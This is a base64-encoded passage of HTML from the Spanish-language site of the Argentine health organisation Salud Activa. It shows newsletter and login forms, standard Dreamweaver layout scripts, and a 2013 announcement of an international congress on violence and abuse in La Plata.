IiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMi5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEyLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9InNyYy9pbWdfdXAvMjMwODIwMTIuMS5qcGciIHdpZHRoPSIxNDkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMy5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNi5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iNSIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTcuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNy5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0ZFRTdDRiIgY2xhc3M9InRpdHVsb2hvbWU1Ij48c3Ryb25nPk5pJm50aWxkZTtvcyBwZXJkaWRvczxicj4KICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0yOSIgY2xhc3M9ImJvdG9uIj5bVmVyIG0mYWFjdXRlO3NdPC9hPjwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTkuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xOS5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18yMC5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iMjUiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4NCgkJCQkNCgkJCQk8Zm9ybSBhY3Rpb249ImluZGV4LnBocD9pZD0xMSIgIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9penExLmpwZyIgd2lkdGg9IjEyIiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9hcnJpYmEuanBnIiB3aWR0aD0iMTQ2IiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9kZXIxLmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiIgdmFsaWduPSJ0b3AiIGNsYXNzPSJyZWdGb25kbzEiPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9penEuanBnIiB3aWR0aD0iMTIiIGhlaWdodD0iMTIiIC8+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiI+PHRhYmxlIHdpZHRoPSI5NCUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4NCiAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV90aXQuanBnIiB3aWR0aD0iNjYiIGhlaWdodD0iMjMiIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgaGVpZ2h0PSI1MCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJyZWdpc3RyYXJzZSI+SW5ncmVzJmFhY3V0ZTsgDQogICAgICAgICAgICAgIHR1cyBkYXRvcyB5IHJlY2liJmlhY3V0ZTsgbGEgbWVqb3IgaW5mb3JtYWNpJm9hY3V0ZTtuIGEgdHJhdiZlYWN1dGU7cyANCiAgICAgICAgICAgICAgZGUgbnVlc3RybzxzdHJvbmc+IE5ld3NsZXR0ZXI8L3N0cm9uZz4uIDxzdHJvbmc+PHNwYW4gY2xhc3M9ImdyYXRpcyI+R3JhdGlzITwvc3Bhbj48L3N0cm9uZz48L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI1IiB2YWxpZ249Im1pZGRsZSIgY2xhc3M9InRyYWJTRUNDSU9OIj5Ob21icmU8L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBjbGFzcz0icmVnQ0VMREEiPjxpbnB1dCBuYW1lPSJub21icmUiIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0ibm9tYnJlIiAvPjwvdGQ+DQogICAgICAgICAgPC90cj4NCiAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgPHRkIGhlaWdodD0iMjUiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0idHJhYlNFQ0NJT04iPkFwZWxsaWRvPC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InJlZ0NFTERBIj48aW5wdXQgbmFtZT0iYXBlbGxpZG8iIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0iYXBlbGxpZG8iIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgaGVpZ2h0PSIyNSIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJ0cmFiU0VDQ0lPTiI+RS1tYWlsPC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InJlZ0NFTERBIj48aW5wdXQgbmFtZT0iZW1haWwiIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0iZW1haWwiIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InRyYWJTRUNDSU9OIj4mbmJzcDs8L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBjbGFzcz0idHJhYlNFQ0NJT04iPjxpbnB1dCB0eXBlPSJpbWFnZSIgc3JjPSJpbWcvcmVnaXN0cmF0ZV9ib3Rvbi5qcGciIHdpZHRoPSIxMTciIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgIDwvdGFibGU+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE0IiB2YWxpZ249InRvcCIgY2xhc3M9InJlZ0ZvbmRvMiI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2Rlci5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSIxNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTIiIGhlaWdodD0iMjQiPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9lc3FfaXpxMi5qcGciIHdpZHRoPSIxMiIgaGVpZ2h0PSIyNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI0Ij48aW1nIHNyYz0iaW1nL3JlZ2lzdHJhdGVfYWJham8uanBnIiB3aWR0aD0iMTQ2IiBoZWlnaHQ9IjI0IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9lc3FfZGVyMi5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSIyNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KCQkJCQkNCgkJCQkJPC9mb3JtPg0KICAgICAgICAgICAgICAgICAgPC90YWJsZT4NCjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPiAKICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTcwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMyIgY2xhc3M9ImJvcmRlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCA+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUyIj4KCQkJCQkJCQkJCQkJCQkJCTwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9jbGF1ZGlhMl8wMy5qcGciIHdpZHRoPSIxNzQiIGhlaWdodD0iMjUwIiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICA8dGQgcm93c3Bhbj0iNyIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nLzV4NS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjciPjwvdGQ+CiAgICAgICAgICA8dGQgY29sc3Bhbj0iMiIgcm93c3Bhbj0iNCIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSJsb2dpbi5waHAiIG1ldGhvZD0icG9zdCIgbmFtZT0iZm9ybTIiPgoKICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgY29sc3Bhbj0iMiIgYWxpZ249ImxlZnQiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0iY29udGVuaWRvIiA+IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3Ryb25nPlVzdWFyaW8gbm8gcmVnaXN0cmFkbzwvc3Ryb25nPiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb250PiA8L3N0cm9uZz4gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDkiIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJjb250ZW5pZG8iPlVzdWFyaW8mbmJzcDsmbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzOSIgdmFsaWduPSJtaWRkbGUiPjxpbnB1dCBuYW1lPSJ1c3VhcmlvIiB0eXBlPSJ0ZXh0IiBjbGFzcz0icmVnIiBpZD0idXN1YXJpbyIgc2l6ZT0iNyI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjciIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJjb250ZW5pZG8iPkNvbnRyYXNlJm50aWxkZTthJm5ic3A7Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzkiIHZhbGlnbj0ibWlkZGxlIj48aW5wdXQgbmFtZT0icGFzcyIgdHlwZT0icGFzc3dvcmQiIGNsYXNzPSJyZWciIGlkPSJwYXNzIiBzaXplPSI3Ij48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MiIgYWxpZ249InJpZ2h0IiB2YWxpZ249Im1pZGRsZSIgY2xhc3M9ImJvdG9uIj48aW5wdXQgdHlwZT0iaW1hZ2UiIHNyYz0iaW1nL3JlZy5qcGciIHdpZHRoPSI1OCIgaGVpZ2h0PSIzMCI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjciIGhlaWdodD0iMTkiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgPjxhIGhyZWY9Imh0dHA6Ly93d3cuZmFjZWJvb2suY29tL2hvbWUucGhwPyMhL3BhZ2VzL01lcmxvLUFyZ2VudGluYS9TQUxVRC1BQ1RJVkEvMTAwNTgzNTQzMzE3MzIyP3JlZj10cyZhamF4cGlwZT0xJl9fYT03IiB0YXJnZXQ9Il9ibGFuayI+PGltZyBzcmM9ImltZy9mYWNlYm9vay5qcGciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgYm9yZGVyPSIwIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzExIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48ZGl2IGFsaWduPSJsZWZ0Ij48YSBocmVmPSJodHRwOi8vdHdpdHRlci5jb20vU2FsdWRBY3RpdmFPTkciIHRhcmdldD0iX2JsYW5rIj48aW1nIHNyYz0iaW1nL3R3aXRlci5qcGciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgYm9yZGVyPSIwIj48L2E+PC9kaXY+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSI1IiBhbGlnbj0icmlnaHQiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0iY29udGVuaWRvIj48bGFiZWw+PGZvbnQgc2l6ZT0iLTYiPlNpCiAgICAgICAgICAgICAgICAgICAgICAgdG9kYXYmaWFjdXRlO2Egbm8gZXMgdXN1YXJpbyA8L2ZvbnQ+IDxhIGhyZWY9ImluZGV4LnBocD9pZD0xMSIgY2xhc3M9ImJvdG9uIj48Zm9udCBzaXplPSItNiI+cmVnJmlhY3V0ZTtzdHJlc2UKICAgICAgICAgICAgICAgICAgICAgICAgYXF1JmlhY3V0ZTsgPGZvbnQgY29sb3I9IiM2NjY2NjYiPiYjODIyNjs8L2ZvbnQ+PC9mb250PjwvYT4gPGEgaHJlZj0iaW5kZXgucGhwP2lkPTEyIiBjbGFzcz0iYm90b24xIj48Zm9udCBzaXplPSItNiI+b2x2aWRlIG1pIGNvbnRyYXNlJm50aWxkZTthPC9mb250PjwvYT48L2xhYmVsPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE3Ij4mbmJzcDsgPC90ZD4KICAgICAgICAgICAgICA8L3RyPgoJCQkgIDwvZm9ybT4KCiAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICA8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4KPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWlzby04ODU5LTEiIC8+Cjx0aXRsZT5Eb2N1bWVudG8gc2luIHQmaWFjdXRlO3R1bG88L3RpdGxlPgo8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KPHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCIgdHlwZT0idGV4dC9KYXZhU2NyaXB0Ij4KPCEtLQpmdW5jdGlvbiBNTV9yZWxvYWRQYWdlKGluaXQpIHsgIC8vcmVsb2FkcyB0aGUgd2luZG93IGlmIE5hdjQgcmVzaXplZAogIGlmIChpbml0PT10cnVlKSB3aXRoIChuYXZpZ2F0b3IpIHtpZiAoKGFwcE5hbWU9PSJOZXRzY2FwZSIpJiYocGFyc2VJbnQoYXBwVmVyc2lvbik9PTQpKSB7CiAgICBkb2N1bWVudC5NTV9wZ1c9aW5uZXJXaWR0aDsgZG9jdW1lbnQuTU1fcGdIPWlubmVySGVpZ2h0OyBvbnJlc2l6ZT1NTV9yZWxvYWRQYWdlOyB9fQogIGVsc2UgaWYgKGlubmVyV2lkdGghPWRvY3VtZW50Lk1NX3BnVyB8fCBpbm5lckhlaWdodCE9ZG9jdW1lbnQuTU1fcGdIKSBsb2NhdGlvbi5yZWxvYWQoKTsKfQpNTV9yZWxvYWRQYWdlKHRydWUpOwoKZnVuY3Rpb24gTU1fcHJlbG9hZEltYWdlcygpIHsgLy92My4wCiAgdmFyIGQ9ZG9jdW1lbnQ7IGlmKGQuaW1hZ2VzKXsgaWYoIWQuTU1fcCkgZC5NTV9wPW5ldyBBcnJheSgpOwogICAgdmFyIGksaj1kLk1NX3AubGVuZ3RoLGE9TU1fcHJlbG9hZEltYWdlcy5hcmd1bWVudHM7IGZvcihpPTA7IGk8YS5sZW5ndGg7IGkrKykKICAgIGlmIChhW2ldLmluZGV4T2YoIiMiKSE9MCl7IGQuTU1fcFtqXT1uZXcgSW1hZ2U7IGQuTU1fcFtqKytdLnNyYz1hW2ldO319Cn0KLy8tLT4KPC9zY3JpcHQ+CiAgICAgICAgICAgICA8c2NyaXB0IHNyYz0iU2NyaXB0cy9BQ19SdW5BY3RpdmVDb250ZW50LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoJCQkgCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CjwhLS0KI0xheWVyMSB7Cglwb3NpdGlvbjphYnNvbHV0ZTsKCXdpZHRoOjY1MXB4OwoJaGVpZ2h0OjIxOHB4OwoJei1pbmRleDoxOwp9CiNMYXllcjIgewoJcG9zaXRpb246YWJzb2x1dGU7Cgl3aWR0aDoyMDBweDsKCWhlaWdodDoxMTVweDsKCXotaW5kZXg6MTsKCXZpc2liaWxpdHk6IHZpc2libGU7Cn0KLkVzdGlsbzEgewoJZm9udC1zaXplOiAxOHB4OwoJZm9udC13ZWlnaHQ6IGJvbGQ7Cn0KLkVzdGlsbzIgewoJZm9udC1zaXplOiAxNHB4OwoJZm9udC13ZWlnaHQ6IGJvbGQ7Cn0KLkVzdGlsbzMge2NvbG9yOiAjNTA2OTkwOyBsaW5lLWhlaWdodDogMTJweDsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyBmb250LWZhbWlseTogVGFob21hO30KLS0+Cjwvc3R5bGU+CjwvaGVhZD4KCjxib2R5IGxlZnRtYXJnaW49IjIiIG1hcmdpbndpZHRoPSIyIj4KPHRhYmxlIHdpZHRoPSI2MDgiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICA8dHI+CiAgICA8dGQgY29sc3Bhbj0iNCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCB3aWR0aD0iMiUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzA3LmpwZyIgd2lkdGg9IjI0IiBoZWlnaHQ9IjE0IiAvPjwvdGQ+CiAgICAgICAgPHRkIHdpZHRoPSI5MCUiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18wNy5qcGciPiZuYnNwOzwvdGQ+CiAgICAgICAgPHRkIHdpZHRoPSI4JSIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wOS5qcGciIHdpZHRoPSI0NSIgaGVpZ2h0PSIxNyIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogIDwvdHI+CiAgPHRyPgogICAgPHRkIGNvbHNwYW49IjQiPjxiciAvPgogICAgICA8dGFibGUgd2lkdGg9Ijk4JSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICA8dHI+CiAgICAgICAgPHRkIHdpZHRoPSIyJSI+PGltZyBzcmM9ImltZy81eDUuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iMTUiIC8+PC90ZD4KICAgICAgICA8dGQgd2lkdGg9IjkzJSI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CjwhLS0gSU5JQ0lPIG5vdGEgZGVzdGFjYWRhIC0tPgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTU2IiByb3dzcGFuPSIyIiB2YWxpZ249InRvcCI+CgkJCQkKCQkJCTx0YWJsZSB3aWR0aD0iMzIlIiBib3JkZXI9IjEiIGNlbGxzcGFjaW5nPSIzIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJzcmMvaW1nX3VwLzIzMDQyMDEzLjAuanBnIiB3aWR0aD0iMTQ2IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPgoJCQkJCQkJCTwvdGQ+ICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MjIvMTEvMjAxMzwvc3Bhbj48YnI+SVYgQ29uZ3Jlc28gSW50ZXJuYWNpb25hbCB2aW9sZW5jaWEsIG1hbHRyYXRvIHkgYWJ1c288L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPjxzdHJvbmc+MTQsIDE1IHkgMTYgZGUgTm92aWVtYnJlIEFCSUVSVEEgTEEgSU5TQ1JJUENJJk9hY3V0ZTtOISAoY29uIGRlc2N1ZW50byBoYXN0YSBlbCAyNy84KTxiciAvPjwvc3Ryb25nPjwvcD4NCjxwPjxzdHJvbmc+QUJJRVJUQSBMQSBSRUNFUENJJk9hY3V0ZTtOIERFIFRSQUJBSk88YSBocmVmPSJodHRwOi8vd3d3LmNvbmdyZXNvdmlvbGVuY2lhLmNvbS9pbmRleC5waHA/aWQ9bW9kYWxpZGFkZXMiIHRhcmdldD0iX2JsYW5rIj4gKG1hcyBpbmZvKTwvYT48L3N0cm9uZz48L3A+DQo8cD48c3BhbiBzdHlsZT0iY29sb3I6ICNmZjY2MDA7Ij48c3Ryb25nPk9yZ2FuaXphOiBTYWx1ZCBBY3RpdmE8L3N0cm9uZz48L3NwYW4+PC9wPg0KPHA+PHNwYW4gc3R5bGU9ImNvbG9yOiAjZmY2NjAwOyI+SW5jcmlwdG9zIGFsIFBvcnRhbCBkZSBTYWx1ZCBBY3RpdmEsIGltcG9ydGFudGVzIGRlc2N1ZW50b3MhPGJyIC8+PC9zcGFuPjwvcD4NCjxwPkx1Z2FyIGRlIFJlYWxpemFjaSZvYWN1dGU7biB5IGNvbGFib3JhY2lvbjogVW5pdmVyc2lkYWQgZGVsIEVzdGUsIExhIFBsYXRhIEJ1ZW5vcyBBaXJlczwvcD4NCjxwPk1hcyBkZSAxNTAgdHJhYmFqb3MgcHJlc2VudGFkb3MsIHVsdGltb3MgZGlhcyBwYXJhIGluc2NyaWJpcnNlIGNvbiBkZXNjdWVudG8hITwvcD4NCjxwPjxhIGhyZWY9Imh0dHA6Ly93d3cuY29uZ3Jlc292aW9sZW5jaWEuY29tL2luZGV4LnBocD9pZD1pbnNjcmlwY2lvbiIgdGFyZ2V0PSJfYmxhbmsiPkluc2NyaWJpcnNlPC9hPjwvcD4NCjxwPjxhIGhyZWY9Imh0dHA6Ly93d3cuY29uZ3Jlc292aW9sZW5jaWEuY29tL2luZGV4LnBocD9pZD1pbnNjcmlwY2l